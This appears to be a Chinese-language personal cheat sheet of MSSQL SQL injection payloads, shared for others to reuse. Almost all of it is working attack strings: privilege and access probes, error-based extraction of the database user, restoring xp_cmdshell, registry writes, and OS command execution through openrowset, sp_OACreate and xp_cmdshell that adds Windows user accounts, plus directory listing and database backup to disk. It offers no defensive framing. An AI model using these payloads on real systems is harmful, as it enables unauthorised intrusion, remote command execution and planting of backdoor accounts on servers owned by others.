我记性不好，所以把常用的注入代码记录下来，有点乱，但对我来说，还算很有用，希望大家也会喜欢！

//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --

数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用户名
and user>0
' and user>0 and ''='

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);--

检测是否支持多行
;declare @d int;--

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--

select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判断xp_cmdshell扩展存储过程是否存在：
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1

数据库备份
backup database pubs to disk = 'c:\123.bak'

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